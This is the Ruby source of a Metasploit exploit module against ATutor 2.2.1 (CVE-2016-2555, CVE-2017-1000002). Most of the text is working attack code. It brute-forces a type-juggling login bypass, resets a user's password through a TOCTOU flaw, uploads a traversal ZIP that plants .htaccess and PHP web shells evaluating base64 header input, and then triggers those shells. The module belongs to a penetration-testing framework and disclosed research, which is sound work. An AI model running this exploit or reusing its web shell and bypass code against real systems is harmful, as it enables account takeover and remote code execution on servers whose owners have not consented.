Path: blob/master/modules/exploits/linux/http/atutor_filemanager_traversal.rb
24936 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',16'Description' => %q{17This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP18setup with display_errors set to On, which can be used to allow us to upload a malicious19ZIP file. On the web application, a blacklist verification is performed before extraction,20however it is not sufficient to prevent exploitation.2122You are required to login to the target to reach the vulnerability, however this can be23done as a student account and remote registration is enabled by default.2425Just in case remote registration isn't enabled, this module uses 2 vulnerabilities26in order to bypass the authentication:27281. confirm.php Authentication Bypass Type Juggling vulnerability292. password_reminder.php Remote Password Reset TOCTOU vulnerability30},31'License' => MSF_LICENSE,32'Author' => [33'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code34],35'References' => [36[ 'CVE', '2016-2555' ],37[ 'CVE', '2017-1000002' ],38[ 'URL', 'http://www.atutor.ca/' ], # Official Website39[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory40[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory41[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory42[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]43],44'Privileged' => false,45'Payload' => {46'DisableNops' => true47},48'Platform' => ['php'],49'Arch' => ARCH_PHP,50'Targets' => [[ 'Automatic', {}]],51'DisclosureDate' => '2016-03-01',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),64OptString.new('USERNAME', [false, 'The username to authenticate as']),65OptString.new('PASSWORD', [false, 'The password to authenticate with'])66]67)68end6970def post_auth?71true72end7374def print_status(msg = '')75super("#{peer} - #{msg}")76end7778def print_error(msg = '')79super("#{peer} - #{msg}")80end8182def print_good(msg = '')83super("#{peer} - #{msg}")84end8586def check87# there is no real way to finger print the target so we just88# check if we can upload a zip and extract it into the web root...89# obviously not ideal, but if anyone knows better, feel free to change90unless datastore['USERNAME'] && datastore['PASSWORD']91# if we cant login, it may still be vuln92return Exploit::CheckCode::Unknown 'Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.'93end9495student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)96if !student_cookie.nil? && disclose_web_root97begin98if upload_shell(student_cookie, check = true) && found99return Exploit::CheckCode::Vulnerable100end101rescue Msf::Exploit::Failed => e102vprint_error(e.message)103end104end105return Exploit::CheckCode::Unknown106end107108def create_zip_file(check = false)109zip_file = Rex::Zip::Archive.new110@header = Rex::Text.rand_text_alpha_upper(4)111@payload_name = Rex::Text.rand_text_alpha_lower(4)112@archive_name = Rex::Text.rand_text_alpha_lower(3)113@test_string = Rex::Text.rand_text_alpha_lower(8)114# we traverse back into the webroot mods/ directory (since it will be writable)115path = "../../../../../../../../../../../../..#{@webroot}mods/"116117# we use this to give us the best chance of success. If a webserver has htaccess override enabled118# we will win. If not, we may still win because these file extensions are often registered as php119# with the webserver, thus allowing us remote code execution.120if check121zip_file.add_file("#{path}#{@payload_name}.txt", @test_string.to_s)122else123register_file_for_cleanup('.htaccess', "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")124zip_file.add_file("#{path}.htaccess", 'AddType application/x-httpd-php .phtml .php4 .pht')125zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")126zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")127zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")128end129zip_file.pack130end131132def found133res = send_request_cgi({134'method' => 'GET',135'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.txt")136})137if res && (res.code == 200) && res.body =~ /#{@test_string}/138return true139end140141return false142end143144def disclose_web_root145res = send_request_cgi({146'method' => 'GET',147'uri' => normalize_uri(target_uri.path, 'jscripts', 'ATutor_js.php')148})149@webroot = '/'150@webroot << Regexp.last_match(1) if res && res.body =~ %r{\<b\>/(.*)jscripts/ATutor_js\.php\</b\> }151if @webroot != '/'152return true153end154155return false156end157158def call_php(ext)159res = send_request_cgi({160'method' => 'GET',161'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.#{ext}"),162'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"163}, timeout = 0.1)164return res165end166167def exec_code168res = call_php('pht')169unless res170res = call_php('phtml')171unless res172call_php('php4')173end174end175end176177def upload_shell(cookie, check)178post_data = Rex::MIME::Message.new179post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")180post_data.add_part(Rex::Text.rand_text_alpha_upper(4).to_s, nil, nil, 'form-data; name="submit_import"')181data = post_data.to_s182res = send_request_cgi({183'uri' => normalize_uri(target_uri.path, 'mods', '_standard', 'tests', 'question_import.php'),184'method' => 'POST',185'data' => data,186'ctype' => "multipart/form-data; boundary=#{post_data.bound}",187'cookie' => cookie,188'vars_get' => {189'h' => ''190}191})192if res && res.code == 302 && res.redirection.to_s.include?('question_db.php')193return true194end195196# unknown failure...197fail_with(Failure::Unknown, 'Unable to upload php code')198return false199end200201def find_user(cookie)202res = send_request_cgi({203'method' => 'GET',204'uri' => normalize_uri(target_uri.path, 'users', 'profile.php'),205'cookie' => cookie,206# we need to set the agent to the same value that was in type_juggle,207# since the bypassed session is linked to the user-agent. We can then208# use that session to leak the username209'agent' => ''210})211username = Regexp.last_match(1).to_s if res && res.body =~ %r{<span id="login">(.*)</span>}212if username213return username214end215216# else we fail, because we dont know the username to login as217fail_with(Failure::Unknown, 'Unable to find the username!')218end219220def type_juggle221# high padding, means higher success rate222# also, we use numbers, so we can count requests :p223for i in 1..8224for @number in ('0' * i..'9' * i)225res = send_request_cgi({226'method' => 'POST',227'uri' => normalize_uri(target_uri.path, 'confirm.php'),228'vars_post' => {229'auto_login' => '',230'code' => '0' # type juggling231},232'vars_get' => {233'e' => @number, # the bruteforce234'id' => '',235'm' => '',236# the default install script creates a member237# so we know for sure, that it will be 1238'member_id' => '1'239},240# need to set the agent, since we are creating x number of sessions241# and then using that session to get leak the username242'agent' => ''243}, redirect_depth = 0) # to validate a successful bypass244if res && (res.code == 302)245cookie = "ATutorID=#{Regexp.last_match(3)};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/246return cookie247end248end249end250# if we finish the loop and have no sauce, we cant make pasta251fail_with(Failure::Unknown, 'Unable to exploit the type juggle and bypass authentication')252end253254def reset_password255# this is due to line 79 of password_reminder.php256days = (Time.now.to_i / 60 / 60 / 24)257# make a semi strong password, we have to encourage security now :->258pass = Rex::Text.rand_text_alpha(32)259hash = Rex::Text.sha1(pass)260res = send_request_cgi({261'method' => 'POST',262'uri' => normalize_uri(target_uri.path, 'password_reminder.php'),263'vars_post' => {264'form_change' => 'true',265# the default install script creates a member266# so we know for sure, that it will be 1267'id' => '1',268'g' => days + 1, # needs to be > the number of days since epoch269'h' => '', # not even checked!270'form_password_hidden' => hash, # remotely reset the password271'submit' => 'Submit'272}273}, redirect_depth = 0) # to validate a successful bypass274275if res && (res.code == 302)276return pass277end278279# if we land here, the TOCTOU failed us280fail_with(Failure::Unknown, 'Unable to exploit the TOCTOU and reset the password')281end282283def login(username, password, check = false)284hash = Rex::Text.sha1(Rex::Text.sha1(password))285res = send_request_cgi({286'method' => 'POST',287'uri' => normalize_uri(target_uri.path, 'login.php'),288'vars_post' => {289'form_password_hidden' => hash,290'form_login' => username,291'submit' => 'Login',292'token' => ''293}294})295# poor php developer practices296cookie = "ATutorID=#{Regexp.last_match(4)};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/297if res && res.code == 302298if res.redirection.to_s.include?('bounce.php?course=0')299return cookie300end301end302# auth failed if we land here, bail303unless check304fail_with(Failure::NoAccess, "Authentication failed with username #{username}")305end306return nil307end308309def exploit310# login if needed311if datastore['USERNAME'] && datastore['PASSWORD']312store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])313student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])314print_good("Logged in as #{datastore['USERNAME']}")315# else, we reset the students password via a type juggle vulnerability316else317print_status('Account details are not set, bypassing authentication...')318print_status('Triggering type juggle attack...')319student_cookie = type_juggle320print_good("Successfully bypassed the authentication in #{@number} requests !")321username = find_user(student_cookie)322print_good("Found the username: #{username} !")323password = reset_password324print_good("Successfully reset the #{username}'s account password to #{password} !")325report_cred(user: username, password: password)326student_cookie = login(username, password)327print_good("Logged in as #{username}")328end329330if disclose_web_root331print_good('Found the webroot')332# we got everything. Now onto pwnage333if upload_shell(student_cookie, false)334print_good('Zip upload successful !')335exec_code336end337end338end339end340341def service_details342super.merge({ post_reference_name: refname })343end344345346